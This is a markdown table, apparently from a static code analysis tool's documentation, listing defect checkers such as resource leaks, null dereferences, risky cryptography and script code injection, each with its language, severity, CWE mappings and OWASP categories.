| RESOURCE_LEAK | Stream leak | Resource leaks | Java | The stream's underlying resource will not be reclaimed and reused, reducing the future availability of the resource. | High | Quality, Security | 404 | 17, 18, 361, 398, 399, 404, 635, 664, 699, 700, 710, 711, 730, 734, 743, 750, 752, 844, 857, 868, 876, 877, 882, 888, 892, 907, 978, 982, 984, 1000, 1003 | ||
| RESOURCE_LEAK | Stream leak | Resource leaks | Visual Basic | The stream's underlying resource will not be reclaimed and reused, reducing the future availability of the resource. | High | Quality | 404 | 17, 18, 361, 398, 399, 404, 635, 664, 699, 700, 710, 711, 730, 734, 743, 750, 752, 844, 857, 868, 876, 877, 882, 888, 892, 907, 978, 982, 984, 1000, 1003 | ||
| RETURN_LOCAL | Pointer to local outside scope | Memory - illegal accesses | C/C++ | Later dereferencing of the saved stack pointer will access an invalid location on the stack outside its scope or after the function returns. | High | Quality | 562 | 17, 18, 361, 398, 562, 664, 666, 672, 699, 700, 710, 734, 748, 800, 808, 840, 884, 885, 888, 892, 907, 978, 983, 984, 998, 1000, 1003, 1006 | ||
| RETURN_LOCAL | Pointer to local outside scope | Memory - illegal accesses | Objective-C/C++ | Later dereferencing of the saved stack pointer will access an invalid location on the stack outside its scope or after the function returns. | High | Quality | 562 | 17, 18, 361, 398, 562, 664, 666, 672, 699, 700, 710, 734, 748, 800, 808, 840, 884, 885, 888, 892, 907, 978, 983, 984, 998, 1000, 1003, 1006 | ||
| RETURN_LOCAL | Pointer to local outside scope | Memory - illegal accesses | C/C++ | Dereferencing the returned or out-of-scope stack pointer will access an invalid location on the stack after its scope or after the function returns. | High | Quality | 562 | 17, 18, 361, 398, 562, 664, 666, 672, 699, 700, 710, 734, 748, 800, 808, 840, 884, 885, 888, 892, 907, 978, 983, 984, 998, 1000, 1003, 1006 | ||
| RETURN_LOCAL | Pointer to local outside scope | Memory - illegal accesses | Objective-C/C++ | Dereferencing the returned or out-of-scope stack pointer will access an invalid location on the stack after its scope or after the function returns. | High | Quality | 562 | 17, 18, 361, 398, 562, 664, 666, 672, 699, 700, 710, 734, 748, 800, 808, 840, 884, 885, 888, 892, 907, 978, 983, 984, 998, 1000, 1003, 1006 | ||
| REVERSE_INULL | Dereference before null check | Null pointer dereferences | C# | There may be a null reference exception, or else the comparison against null is unnecessary. | Medium | Quality | 476 | 17, 18, 398, 465, 476, 699, 700, 710, 711, 730, 734, 737, 742, 800, 808, 867, 868, 871, 876, 884, 888, 890, 900, 907, 971, 978, 1000, 1003 | ||
| REVERSE_INULL | Dereference before null check | Null pointer dereferences | Java | There may be a null pointer exception, or else the comparison against null is unnecessary. | Medium | Quality | 476 | 17, 18, 398, 465, 476, 699, 700, 710, 711, 730, 734, 737, 742, 800, 808, 867, 868, 871, 876, 884, 888, 890, 900, 907, 971, 978, 1000, 1003 | ||
| REVERSE_INULL | Property access or function call before check for null or undefined | Null pointer dereferences | JavaScript | There may be an exception, or else the comparison against null is unnecessary. | Medium | Quality | 476 | 17, 18, 398, 465, 476, 699, 700, 710, 711, 730, 734, 737, 742, 800, 808, 867, 868, 871, 876, 884, 888, 890, 900, 907, 971, 978, 1000, 1003 | ||
| REVERSE_INULL | Attribute/item access or function call before check for None or undefined | Null pointer dereferences | Python | There may be an exception, or else the comparison against None is unnecessary. | Medium | Quality | 476 | 17, 18, 398, 465, 476, 699, 700, 710, 711, 730, 734, 737, 742, 800, 808, 867, 868, 871, 876, 884, 888, 890, 900, 907, 971, 978, 1000, 1003 | ||
| REVERSE_INULL | Instance variable access or function call before check for nil or undefined | Null pointer dereferences | Ruby | There may be a NameError exception, or else the nil? or defined? test is unnecessary. | Medium | Quality | 476 | 17, 18, 398, 465, 476, 699, 700, 710, 711, 730, 734, 737, 742, 800, 808, 867, 868, 871, 876, 884, 888, 890, 900, 907, 971, 978, 1000, 1003 | ||
| REVERSE_INULL | Dereference before null check | Null pointer dereferences | Scala | There may be a null pointer exception, or else the comparison against null is unnecessary. | Medium | Quality | 476 | 17, 18, 398, 465, 476, 699, 700, 710, 711, 730, 734, 737, 742, 800, 808, 867, 868, 871, 876, 884, 888, 890, 900, 907, 971, 978, 1000, 1003 | ||
| REVERSE_INULL | Unwrapping or downcasting optionals before check against nil | Null pointer dereferences | Swift | There may be a fatal runtime error, or else the comparison against nil is unnecessary. | Medium | Quality | 476 | 17, 18, 398, 465, 476, 699, 700, 710, 711, 730, 734, 737, 742, 800, 808, 867, 868, 871, 876, 884, 888, 890, 900, 907, 971, 978, 1000, 1003 | ||
| REVERSE_INULL | Dereference before null (Nothing) check | Null pointer dereferences | Visual Basic | There may be a null reference exception, or else the comparison against null (Nothing) is unnecessary. | Medium | Quality | 476 | 17, 18, 398, 465, 476, 699, 700, 710, 711, 730, 734, 737, 742, 800, 808, 867, 868, 871, 876, 884, 888, 890, 900, 907, 971, 978, 1000, 1003 | ||
| REVERSE_INULL | Dereference before null check | Null pointer dereferences | C/C++ | There may be a null pointer dereference, or else the comparison against null is unnecessary. | Medium | Quality | 476 | 17, 18, 398, 465, 476, 699, 700, 710, 711, 730, 734, 737, 742, 800, 808, 867, 868, 871, 876, 884, 888, 890, 900, 907, 971, 978, 1000, 1003 | ||
| REVERSE_INULL | Dereference before null check | Null pointer dereferences | Objective-C/C++ | There may be a null pointer dereference, or else the comparison against null is unnecessary. | Medium | Quality | 476 | 17, 18, 398, 465, 476, 699, 700, 710, 711, 730, 734, 737, 742, 800, 808, 867, 868, 871, 876, 884, 888, 890, 900, 907, 971, 978, 1000, 1003 | ||
| REVERSE_NEGATIVE | Negative array index read | Memory - illegal accesses | C/C++ | A memory location at a negative offset from the beginning of the array will be read, resulting in incorrect values. | High | Quality | 129 | 17, 18, 19, 20, 129, 189, 254, 633, 635, 693, 699, 700, 711, 722, 734, 738, 740, 742, 746, 747, 750, 751, 800, 802, 867, 868, 872, 874, 876, 883, 884, 888, 890, 896, 900, 907, 970, 975, 994, 1000, 1003, 1005, 1008, 1019 | ||
| REVERSE_NEGATIVE | Negative array index read | Memory - illegal accesses | Objective-C/C++ | A memory location at a negative offset from the beginning of the array will be read, resulting in incorrect values. | High | Quality | 129 | 17, 18, 19, 20, 129, 189, 254, 633, 635, 693, 699, 700, 711, 722, 734, 738, 740, 742, 746, 747, 750, 751, 800, 802, 867, 868, 872, 874, 876, 883, 884, 888, 890, 896, 900, 907, 970, 975, 994, 1000, 1003, 1005, 1008, 1019 | ||
| REVERSE_NEGATIVE | Negative array index write | Memory - corruptions | C/C++ | A memory location at a negative offset from the beginning of the array will be written, likely causing a crash later. | High | Quality | 129 | 17, 18, 19, 20, 129, 189, 254, 633, 635, 693, 699, 700, 711, 722, 734, 738, 740, 742, 746, 747, 750, 751, 800, 802, 867, 868, 872, 874, 876, 883, 884, 888, 890, 896, 900, 907, 970, 975, 994, 1000, 1003, 1005, 1008, 1019 | ||
| REVERSE_NEGATIVE | Negative array index write | Memory - corruptions | Objective-C/C++ | A memory location at a negative offset from the beginning of the array will be written, likely causing a crash later. | High | Quality | 129 | 17, 18, 19, 20, 129, 189, 254, 633, 635, 693, 699, 700, 711, 722, 734, 738, 740, 742, 746, 747, 750, 751, 800, 802, 867, 868, 872, 874, 876, 883, 884, 888, 890, 896, 900, 907, 970, 975, 994, 1000, 1003, 1005, 1008, 1019 | ||
| REVERSE_NEGATIVE | Argument cannot be negative | Memory - corruptions | C/C++ | The negative argument will be interpreted as a very large unsigned value. | High | Quality | 119 | 17, 18, 19, 20, 118, 119, 254, 633, 635, 693, 699, 700, 711, 722, 726, 734, 738, 740, 741, 742, 743, 744, 746, 747, 750, 751, 752, 868, 872, 874, 875, 876, 877, 878, 883, 888, 890, 896, 907, 970, 975, 994, 1000, 1003, 1005, 1008, 1019 | ||
| REVERSE_NEGATIVE | Argument cannot be negative | Memory - corruptions | Objective-C/C++ | The negative argument will be interpreted as a very large unsigned value. | High | Quality | 119 | 17, 18, 19, 20, 118, 119, 254, 633, 635, 693, 699, 700, 711, 722, 726, 734, 738, 740, 741, 742, 743, 744, 746, 747, 750, 751, 752, 868, 872, 874, 875, 876, 877, 878, 883, 888, 890, 896, 907, 970, 975, 994, 1000, 1003, 1005, 1008, 1019 | ||
| REVERSE_NEGATIVE | Improper use of negative value | Integer handling issues | C/C++ | The negative value may be interpreted as an unsigned value. | Medium | Quality | 394 | 17, 18, 388, 389, 394, 699, 700, 703, 711, 728, 734, 742, 754, 800, 802, 840, 844, 851, 867, 868, 876, 880, 888, 889, 900, 961, 962, 1000, 1003, 1008, 1012 | ||
| REVERSE_NEGATIVE | Improper use of negative value | Integer handling issues | Objective-C/C++ | The negative value may be interpreted as an unsigned value. | Medium | Quality | 394 | 17, 18, 388, 389, 394, 699, 700, 703, 711, 728, 734, 742, 754, 800, 802, 840, 844, 851, 867, 868, 876, 880, 888, 889, 900, 961, 962, 1000, 1003, 1008, 1012 | ||
| RISKY_CRYPTO | Violation of user-specified RISKY_CRYPTO policy | Medium impact security | C/C++ | A violation of user-specified RISKY_CRYPTO policy was detected. | Medium | Security | None | 17, 18, 254, 310, 327, 635, 693, 699, 700, 711, 729, 750, 753, 800, 803, 809, 816, 866, 868, 883, 884, 888, 900, 903, 907, 928, 934, 958, 975, 1000, 1003, 1008, 1013, 1026, 1029 | owasp-web-2017-A3: Sensitive Data Exposure | ✓ |
| RISKY_CRYPTO | Violation of user-specified RISKY_CRYPTO policy | Medium impact security | C# | A violation of user-specified RISKY_CRYPTO policy was detected. | Medium | Security | None | 17, 18, 254, 310, 327, 635, 693, 699, 700, 711, 729, 750, 753, 800, 803, 809, 816, 866, 868, 883, 884, 888, 900, 903, 907, 928, 934, 958, 975, 1000, 1003, 1008, 1013, 1026, 1029 | owasp-web-2017-A3: Sensitive Data Exposure | ✓ |
| RISKY_CRYPTO | Violation of user-specified RISKY_CRYPTO policy | Medium impact security | Java | A violation of user-specified RISKY_CRYPTO policy was detected. | Medium | Security | None | 17, 18, 254, 310, 327, 635, 693, 699, 700, 711, 729, 750, 753, 800, 803, 809, 816, 866, 868, 883, 884, 888, 900, 903, 907, 928, 934, 958, 975, 1000, 1003, 1008, 1013, 1026, 1029 | owasp-web-2017-A3: Sensitive Data Exposure | ✓ |
| RISKY_CRYPTO | Violation of user-specified RISKY_CRYPTO policy | Medium impact security | JavaScript | A violation of user-specified RISKY_CRYPTO policy was detected. | Medium | Security | None | 17, 18, 254, 310, 327, 635, 693, 699, 700, 711, 729, 750, 753, 800, 803, 809, 816, 866, 868, 883, 884, 888, 900, 903, 907, 928, 934, 958, 975, 1000, 1003, 1008, 1013, 1026, 1029 | owasp-web-2017-A3: Sensitive Data Exposure | ✓ |
| RISKY_CRYPTO | Violation of user-specified RISKY_CRYPTO policy | Medium impact security | Objective-C/C++ | A violation of user-specified RISKY_CRYPTO policy was detected. | Medium | Security | None | 17, 18, 254, 310, 327, 635, 693, 699, 700, 711, 729, 750, 753, 800, 803, 809, 816, 866, 868, 883, 884, 888, 900, 903, 907, 928, 934, 958, 975, 1000, 1003, 1008, 1013, 1026, 1029 | owasp-web-2017-A3: Sensitive Data Exposure | ✓ |
| RISKY_CRYPTO | Violation of user-specified RISKY_CRYPTO policy | Medium impact security | Swift | A violation of user-specified RISKY_CRYPTO policy was detected. | Medium | Security | None | 17, 18, 254, 310, 327, 635, 693, 699, 700, 711, 729, 750, 753, 800, 803, 809, 816, 866, 868, 883, 884, 888, 900, 903, 907, 928, 934, 958, 975, 1000, 1003, 1008, 1013, 1026, 1029 | owasp-web-2017-A3: Sensitive Data Exposure | ✓ |
| RISKY_CRYPTO | Violation of user-specified RISKY_CRYPTO policy | Medium impact security | Visual Basic | A violation of user-specified RISKY_CRYPTO policy was detected. | Medium | Security | None | 17, 18, 254, 310, 327, 635, 693, 699, 700, 711, 729, 750, 753, 800, 803, 809, 816, 866, 868, 883, 884, 888, 900, 903, 907, 928, 934, 958, 975, 1000, 1003, 1008, 1013, 1026, 1029 | owasp-web-2017-A3: Sensitive Data Exposure | ✓ |
| RISKY_CRYPTO | Risky cryptographic hashing function | Medium impact security | C/C++ | A use of a weak hashing algorithm was detected. There exist well known ways to produce collisions on the hashes. | Medium | Security | 328 | 17, 18, 254, 310, 326, 327, 328, 629, 635, 693, 699, 700, 711, 719, 720, 729, 750, 753, 800, 803, 809, 816, 866, 868, 883, 884, 888, 900, 903, 907, 928, 934, 958, 959, 975, 1000, 1003, 1008, 1013, 1026, 1029 | owasp-web-2017-A3: Sensitive Data Exposure | ✓ |
| RISKY_CRYPTO | Risky cryptographic hashing function | Medium impact security | C# | A use of a weak hashing algorithm was detected. There exist well known ways to produce collisions on the hashes. | Medium | Security | 328 | 17, 18, 254, 310, 326, 327, 328, 629, 635, 693, 699, 700, 711, 719, 720, 729, 750, 753, 800, 803, 809, 816, 866, 868, 883, 884, 888, 900, 903, 907, 928, 934, 958, 959, 975, 1000, 1003, 1008, 1013, 1026, 1029 | owasp-web-2017-A3: Sensitive Data Exposure | ✓ |
| RISKY_CRYPTO | Risky cryptographic hashing function | Medium impact security | Java | A use of a weak hashing algorithm was detected. There exist well known ways to produce collisions on the hashes. | Medium | Security | 328 | 17, 18, 254, 310, 326, 327, 328, 629, 635, 693, 699, 700, 711, 719, 720, 729, 750, 753, 800, 803, 809, 816, 866, 868, 883, 884, 888, 900, 903, 907, 928, 934, 958, 959, 975, 1000, 1003, 1008, 1013, 1026, 1029 | owasp-web-2017-A3: Sensitive Data Exposure | ✓ |
| RISKY_CRYPTO | Risky cryptographic hashing function | Medium impact security | JavaScript | A use of a weak hashing algorithm was detected. There exist well known ways to produce collisions on the hashes. | Medium | Security | 328 | 17, 18, 254, 310, 326, 327, 328, 629, 635, 693, 699, 700, 711, 719, 720, 729, 750, 753, 800, 803, 809, 816, 866, 868, 883, 884, 888, 900, 903, 907, 928, 934, 958, 959, 975, 1000, 1003, 1008, 1013, 1026, 1029 | owasp-web-2017-A3: Sensitive Data Exposure | ✓ |
| RISKY_CRYPTO | Risky cryptographic hashing function | Medium impact security | Objective-C/C++ | A use of a weak hashing algorithm was detected. There exist well known ways to produce collisions on the hashes. | Medium | Security | 328 | 17, 18, 254, 310, 326, 327, 328, 629, 635, 693, 699, 700, 711, 719, 720, 729, 750, 753, 800, 803, 809, 816, 866, 868, 883, 884, 888, 900, 903, 907, 928, 934, 958, 959, 975, 1000, 1003, 1008, 1013, 1026, 1029 | owasp-web-2017-A3: Sensitive Data Exposure | ✓ |
| RISKY_CRYPTO | Risky cryptographic hashing function | Medium impact security | Swift | A use of a weak hashing algorithm was detected. There exist well known ways to produce collisions on the hashes. | Medium | Security | 328 | 17, 18, 254, 310, 326, 327, 328, 629, 635, 693, 699, 700, 711, 719, 720, 729, 750, 753, 800, 803, 809, 816, 866, 868, 883, 884, 888, 900, 903, 907, 928, 934, 958, 959, 975, 1000, 1003, 1008, 1013, 1026, 1029 | owasp-web-2017-A3: Sensitive Data Exposure | ✓ |
| RISKY_CRYPTO | Risky cryptographic hashing function | Medium impact security | Visual Basic | A use of a weak hashing algorithm was detected. There exist well known ways to produce collisions on the hashes. | Medium | Security | 328 | 17, 18, 254, 310, 326, 327, 328, 629, 635, 693, 699, 700, 711, 719, 720, 729, 750, 753, 800, 803, 809, 816, 866, 868, 883, 884, 888, 900, 903, 907, 928, 934, 958, 959, 975, 1000, 1003, 1008, 1013, 1026, 1029 | owasp-web-2017-A3: Sensitive Data Exposure | ✓ |
| RISKY_CRYPTO | Risky cryptographic function | Medium impact security | C/C++ | A use of a weak cryptographic method was detected. There exist known ways to compromise the security of the encrypted data. | Medium | Security | 327 | 17, 18, 254, 310, 327, 635, 693, 699, 700, 711, 729, 750, 753, 800, 803, 809, 816, 866, 868, 883, 884, 888, 900, 903, 907, 928, 934, 958, 975, 1000, 1003, 1008, 1013, 1026, 1029 | owasp-web-2017-A3: Sensitive Data Exposure | ✓ |
| RISKY_CRYPTO | Risky cryptographic function | Medium impact security | C# | A use of a weak cryptographic method was detected. There exist known ways to compromise the security of the encrypted data. | Medium | Security | 327 | 17, 18, 254, 310, 327, 635, 693, 699, 700, 711, 729, 750, 753, 800, 803, 809, 816, 866, 868, 883, 884, 888, 900, 903, 907, 928, 934, 958, 975, 1000, 1003, 1008, 1013, 1026, 1029 | owasp-web-2017-A3: Sensitive Data Exposure | ✓ |
| RISKY_CRYPTO | Risky cryptographic function | Medium impact security | Java | A use of a weak cryptographic method was detected. There exist known ways to compromise the security of the encrypted data. | Medium | Security | 327 | 17, 18, 254, 310, 327, 635, 693, 699, 700, 711, 729, 750, 753, 800, 803, 809, 816, 866, 868, 883, 884, 888, 900, 903, 907, 928, 934, 958, 975, 1000, 1003, 1008, 1013, 1026, 1029 | owasp-web-2017-A3: Sensitive Data Exposure | ✓ |
| RISKY_CRYPTO | Risky cryptographic function | Medium impact security | JavaScript | A use of a weak cryptographic method was detected. There exist known ways to compromise the security of the encrypted data. | Medium | Security | 327 | 17, 18, 254, 310, 327, 635, 693, 699, 700, 711, 729, 750, 753, 800, 803, 809, 816, 866, 868, 883, 884, 888, 900, 903, 907, 928, 934, 958, 975, 1000, 1003, 1008, 1013, 1026, 1029 | owasp-web-2017-A3: Sensitive Data Exposure | ✓ |
| RISKY_CRYPTO | Risky cryptographic function | Medium impact security | Objective-C/C++ | A use of a weak cryptographic method was detected. There exist known ways to compromise the security of the encrypted data. | Medium | Security | 327 | 17, 18, 254, 310, 327, 635, 693, 699, 700, 711, 729, 750, 753, 800, 803, 809, 816, 866, 868, 883, 884, 888, 900, 903, 907, 928, 934, 958, 975, 1000, 1003, 1008, 1013, 1026, 1029 | owasp-web-2017-A3: Sensitive Data Exposure | ✓ |
| RISKY_CRYPTO | Risky cryptographic function | Medium impact security | Swift | A use of a weak cryptographic method was detected. There exist known ways to compromise the security of the encrypted data. | Medium | Security | 327 | 17, 18, 254, 310, 327, 635, 693, 699, 700, 711, 729, 750, 753, 800, 803, 809, 816, 866, 868, 883, 884, 888, 900, 903, 907, 928, 934, 958, 975, 1000, 1003, 1008, 1013, 1026, 1029 | owasp-web-2017-A3: Sensitive Data Exposure | ✓ |
| RISKY_CRYPTO | Risky cryptographic function | Medium impact security | Visual Basic | A use of a weak cryptographic method was detected. There exist known ways to compromise the security of the encrypted data. | Medium | Security | 327 | 17, 18, 254, 310, 327, 635, 693, 699, 700, 711, 729, 750, 753, 800, 803, 809, 816, 866, 868, 883, 884, 888, 900, 903, 907, 928, 934, 958, 975, 1000, 1003, 1008, 1013, 1026, 1029 | owasp-web-2017-A3: Sensitive Data Exposure | ✓ |
| RISKY_CRYPTO | Risky cryptographic SSL protocol | Medium impact security | C# | A use of an insecure SSL connection protocol was detected. | Medium | Security | 327 | 17, 18, 254, 264, 284, 300, 310, 327, 361, 632, 635, 664, 693, 699, 700, 711, 723, 729, 750, 753, 800, 803, 809, 816, 844, 859, 866, 868, 883, 884, 888, 892, 899, 900, 902, 903, 907, 923, 928, 934, 944, 956, 958, 975, 984, 1000, 1003, 1008, 1011, 1013, 1026, 1029, 1031 | owasp-web-2017-A3: Sensitive Data Exposure, owasp-web-2017-A5: Broken Access Control | ✓ |
| RISKY_CRYPTO | Risky cryptographic SSL protocol | Medium impact security | Java | A use of an insecure SSL connection protocol was detected. | Medium | Security | 327 | 17, 18, 254, 264, 284, 300, 310, 327, 361, 632, 635, 664, 693, 699, 700, 711, 723, 729, 750, 753, 800, 803, 809, 816, 844, 859, 866, 868, 883, 884, 888, 892, 899, 900, 902, 903, 907, 923, 928, 934, 944, 956, 958, 975, 984, 1000, 1003, 1008, 1011, 1013, 1026, 1029, 1031 | owasp-web-2017-A3: Sensitive Data Exposure, owasp-web-2017-A5: Broken Access Control | ✓ |
| RISKY_CRYPTO | Risky cryptographic SSL protocol | Medium impact security | Swift | A use of an insecure SSL connection protocol was detected. | Medium | Security | 327 | 17, 18, 254, 264, 284, 300, 310, 327, 361, 632, 635, 664, 693, 699, 700, 711, 723, 729, 750, 753, 800, 803, 809, 816, 844, 859, 866, 868, 883, 884, 888, 892, 899, 900, 902, 903, 907, 923, 928, 934, 944, 956, 958, 975, 984, 1000, 1003, 1008, 1011, 1013, 1026, 1029, 1031 | owasp-web-2017-A3: Sensitive Data Exposure, owasp-web-2017-A5: Broken Access Control | ✓ |
| RISKY_CRYPTO | Risky cryptographic SSL protocol | Medium impact security | Visual Basic | A use of an insecure SSL connection protocol was detected. | Medium | Security | 327 | 17, 18, 254, 264, 284, 300, 310, 327, 361, 632, 635, 664, 693, 699, 700, 711, 723, 729, 750, 753, 800, 803, 809, 816, 844, 859, 866, 868, 883, 884, 888, 892, 899, 900, 902, 903, 907, 923, 928, 934, 944, 956, 958, 975, 984, 1000, 1003, 1008, 1011, 1013, 1026, 1029, 1031 | owasp-web-2017-A3: Sensitive Data Exposure, owasp-web-2017-A5: Broken Access Control | ✓ |
| RW.* | Parse recovery warning | Parse warnings | C/C++ | The function will not be analyzed for other defects; any callers of the function will not have access to its function summary. | Low | Quality | None | |||
| RW.* | Parse recovery warning | Parse warnings | Swift | The function will not be analyzed for other defects; any callers of the function will not have access to its function summary. | Low | Quality | None | |||
| SCRIPT_CODE_INJECTION | Script code injection | High impact security | C# | An attacker may be able to alter the behavior of the program or run malicious code. | High | Security | 95 | 17, 18, 19, 20, 74, 94, 95, 116, 137, 171, 254, 361, 398, 399, 505, 629, 635, 664, 691, 693, 699, 700, 707, 710, 711, 714, 722, 727, 734, 738, 742, 746, 747, 750, 751, 752, 844, 845, 868, 872, 876, 883, 884, 888, 892, 896, 907, 913, 928, 929, 975, 977, 978, 984, 990, 991, 992, 994, 1000, 1003, 1005, 1008, 1019, 1020, 1026, 1027 | owasp-web-2017-A1: Injection | |
| SCRIPT_CODE_INJECTION | Script code injection | High impact security | Java | An attacker may be able to alter the behavior of the program or run malicious code. | High | Security | 95 | 17, 18, 19, 20, 74, 94, 95, 116, 137, 171, 254, 361, 398, 399, 505, 629, 635, 664, 691, 693, 699, 700, 707, 710, 711, 714, 722, 727, 734, 738, 742, 746, 747, 750, 751, 752, 844, 845, 868, 872, 876, 883, 884, 888, 892, 896, 907, 913, 928, 929, 975, 977, 978, 984, 990, 991, 992, 994, 1000, 1003, 1005, 1008, 1019, 1020, 1026, 1027 | owasp-web-2017-A1: Injection | |
| SCRIPT_CODE_INJECTION | Script code injection | High impact security | JavaScript | An attacker may be able to alter the behavior of the program or run malicious code. | High | Security | 95 | 17, 18, 19, 20, 74, 94, 95, 116, 137, 171, 254, 361, 398, 399, 505, 629, 635, 664, 691, 693, 699, 700, 707, 710, 711, 714, 722, 727, 734, 738, 742, 746, 747, 750, 751, 752, 844, 845, 868, 872, 876, 883, 884, 888, 892, 896, 907, 913, 928, 929, 975, 977, 978, 984, 990, 991, 992, 994, 1000, 1003, 1005, 1008, 1019, 1020, 1026, 1027 | owasp-web-2017-A1: Injection | |
| SCRIPT_CODE_INJECTION | Script code injection | High impact security | PHP | An attacker may be able to alter the behavior of the program or run malicious code. | High | Security | 95 | 17, 18, 19, 20, 74, 94, 95, 116, 137, 171, 254, 361, 398, 399, 505, 629, 635, 664, 691, 693, 699, 700, 707, 710, 711, 714, 722, 727, 734, 738, 742, 746, 747, 750, 751, 752, 844, 845, 868, 872, 876, 883, 884, 888, 892, 896, 907, 913, 928, 929, 975, 977, 978, 984, 990, 991, 992, 994, 1000, 1003, 1005, 1008, 1019, 1020, 1026, 1027 | owasp-web-2017-A1: Injection | |
| SCRIPT_CODE_INJECTION | Script code injection | High impact security | Python | An attacker may be able to alter the behavior of the program or run malicious code. | High | Security | 95 | 17, 18, 19, 20, 74, 94, 95, 116, 137, 171, 254, 361, 398, 399, 505, 629, 635, 664, 691, 693, 699, 700, 707, 710, 711, 714, 722, 727, 734, 738, 742, 746, 747, 750, 751, 752, 844, 845, 868, 872, 876, 883, 884, 888, 892, 896, 907, 913, 928, 929, 975, 977, 978, 984, 990, 991, 992, 994, 1000, 1003, 1005, 1008, 1019, 1020, 1026, 1027 | owasp-web-2017-A1: Injection | |
| SCRIPT_CODE_INJECTION | Script code injection | High impact security | Swift | An attacker may be able to alter the behavior of the program or run malicious code. | High | Security | 95 | 17, 18, 19, 20, 74, 94, 95, 116, 137, 171, 254, 361, 398, 399, 505, 629, 635, 664, 691, 693, 699, 700, 707, 710, 711, 714, 722, 727, 734, 738, 742, 746, 747, 750, 751, 752, 844, 845, 868, 872, 876, 883, 884, 888, 892, 896, 907, 913, 928, 929, 975, 977, 978, 984, 990, 991, 992, 994, 1000, 1003, 1005, 1008, 1019, 1020, 1026, 1027 | owasp-web-2017-A1: Injection | |
| SECURE_CODING | Calling risky function | Security best practices violations | C/C++ | Calling this function may result in security implications. | Low | Quality, Security | 676 | 17, 18, 398, 676, 699, 700, 710, 734, 738, 743, 746, 865, 868, 872, 877, 884, 887, 888, 900, 907, 978, 1000, 1001, 1003, 1006 | ✓ | |
| SECURE_CODING | Calling risky function | Security best practices violations | Objective-C/C++ | Calling this function may result in security implications. | Low | Quality, Security | 676 | 17, 18, 398, 676, 699, 700, 710, 734, 738, 743, 746, 865, 868, 872, 877, 884, 887, 888, 900, 907, 978, 1000, 1001, 1003, 1006 | ✓ | |
| SECURE_TEMP | Insecure temporary file | Security best practices violations | C/C++ | An attacker may be able to guess the name of the temporary file, or the permissions may be too loose. | Low | Quality, Security | 377 | 17, 18, 361, 376, 377, 632, 664, 668, 699, 700, 844, 857, 888, 892, 895, 963, 964, 984, 1000, 1003, 1008, 1011 | ||
| SELF_ASSIGN | Unsafe assignment operator | Rule violations | C/C++ | This user-written assignment operator does not check for self-assignment. If an object of this type is assigned to itself use-after-free errors may occur if the class owns resources. | Low | Quality | 710 | 710, 888, 907, 978, 1000 | ||
| SELF_ASSIGN | Unsafe assignment operator | Rule violations | Objective-C/C++ | This user-written assignment operator does not check for self-assignment. If an object of this type is assigned to itself use-after-free errors may occur if the class owns resources. | Low | Quality | 710 | 710, 888, 907, 978, 1000 | ||
| SENSITIVE_DATA_LEAK | Exception leaked to user interface | Medium impact security | C# | Exception error messages and stack traces may leak information useful for attacking the application. | Medium | Security | 209 | 17, 18, 19, 199, 200, 201, 209, 254, 359, 361, 388, 389, 629, 635, 664, 668, 699, 700, 703, 711, 717, 728, 731, 750, 751, 755, 800, 801, 809, 815, 840, 844, 851, 857, 867, 868, 876, 880, 884, 888, 889, 892, 895, 900, 907, 928, 933, 961, 962, 963, 975, 984, 1000, 1003, 1008, 1011, 1012, 1015, 1020, 1026, 1028, 1029, 1032 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A3: Sensitive Data Exposure, owasp-web-2017-A6: Security Misconfiguration | |
| SENSITIVE_DATA_LEAK | Exception leaked to user interface | Medium impact security | Java | Exception error messages and stack traces may leak information useful for attacking the application. | Medium | Security | 209 | 17, 18, 19, 199, 200, 201, 209, 254, 359, 361, 388, 389, 629, 635, 664, 668, 699, 700, 703, 711, 717, 728, 731, 750, 751, 755, 800, 801, 809, 815, 840, 844, 851, 857, 867, 868, 876, 880, 884, 888, 889, 892, 895, 900, 907, 928, 933, 961, 962, 963, 975, 984, 1000, 1003, 1008, 1011, 1012, 1015, 1020, 1026, 1028, 1029, 1032 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A3: Sensitive Data Exposure, owasp-web-2017-A6: Security Misconfiguration | |
| SENSITIVE_DATA_LEAK | Exception leaked to user interface | Medium impact security | JavaScript | Exception error messages and stack traces may leak information useful for attacking the application. | Medium | Security | 209 | 17, 18, 19, 199, 200, 201, 209, 254, 359, 361, 388, 389, 629, 635, 664, 668, 699, 700, 703, 711, 717, 728, 731, 750, 751, 755, 800, 801, 809, 815, 840, 844, 851, 857, 867, 868, 876, 880, 884, 888, 889, 892, 895, 900, 907, 928, 933, 961, 962, 963, 975, 984, 1000, 1003, 1008, 1011, 1012, 1015, 1020, 1026, 1028, 1029, 1032 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A3: Sensitive Data Exposure, owasp-web-2017-A6: Security Misconfiguration | |
| SENSITIVE_DATA_LEAK | Exception leaked to user interface | Medium impact security | PHP | Exception error messages and stack traces may leak information useful for attacking the application. | Medium | Security | 209 | 17, 18, 19, 199, 200, 201, 209, 254, 359, 361, 388, 389, 629, 635, 664, 668, 699, 700, 703, 711, 717, 728, 731, 750, 751, 755, 800, 801, 809, 815, 840, 844, 851, 857, 867, 868, 876, 880, 884, 888, 889, 892, 895, 900, 907, 928, 933, 961, 962, 963, 975, 984, 1000, 1003, 1008, 1011, 1012, 1015, 1020, 1026, 1028, 1029, 1032 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A3: Sensitive Data Exposure, owasp-web-2017-A6: Security Misconfiguration | |
| SENSITIVE_DATA_LEAK | Exception leaked to user interface | Medium impact security | Python | Exception error messages and stack traces may leak information useful for attacking the application. | Medium | Security | 209 | 17, 18, 19, 199, 200, 201, 209, 254, 359, 361, 388, 389, 629, 635, 664, 668, 699, 700, 703, 711, 717, 728, 731, 750, 751, 755, 800, 801, 809, 815, 840, 844, 851, 857, 867, 868, 876, 880, 884, 888, 889, 892, 895, 900, 907, 928, 933, 961, 962, 963, 975, 984, 1000, 1003, 1008, 1011, 1012, 1015, 1020, 1026, 1028, 1029, 1032 | owasp-web-2017-A2: Broken Authentication, owasp-web-2017-A3: Sensitive Data Exposure, owasp-web-2017-A6: Security Misconfiguration | |
